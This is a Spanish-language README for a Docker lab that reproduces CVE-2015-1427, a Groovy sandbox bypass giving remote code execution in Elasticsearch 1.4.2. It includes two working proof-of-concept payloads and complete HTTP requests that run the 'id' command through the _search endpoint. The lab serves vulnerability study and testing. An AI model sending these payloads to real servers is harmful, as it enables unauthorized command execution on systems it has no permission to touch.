
Entorno de laboratorio basado en Docker para CVE-2015-1427 ElasticSearch, evasión del sandbox de Groovy y ejecución remota de código, que demuestra dos métodos de POC con reflexión de Java y ejecución de comandos Groovy.
Versión de JRE: openjdk:8-jre
Versión de Elasticsearch: v1.4.2
Artículos de referencia:
Después de CVE-2014-3120, ElasticSearch cambió su lenguaje de scripts dinámicos predeterminado a Groovy y añadió un sandbox, pero aún seguía admitiendo la ejecución directa de lenguaje dinámico por defecto. Esta vulnerabilidad: 1. es una omisión del sandbox; 2. es una vulnerabilidad de ejecución de código Groovy.
ElasticSearch admite el uso del lenguaje Groovy «en un sandbox» como script dinámico, pero es evidente que el trabajo oficial no se hizo bien. lupin y tang3 propusieron respectivamente dos métodos para ejecutar comandos:
Por lo tanto, siguiendo estas dos ideas de explotación, podemos obtener dos POCs diferentes.
Método de omisión del sandbox de Java:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Método de ejecución directa de comandos con Groovy:
def command='id';def res=command.execute().text;res
Compilar y ejecutar el entorno de prueba
docker-compose build
docker-compose up -d
Como la consulta requiere al menos un dato en ES, envía el siguiente paquete para añadir un dato:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
Luego envía un paquete que contenga el payload para ejecutar comandos arbitrarios:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
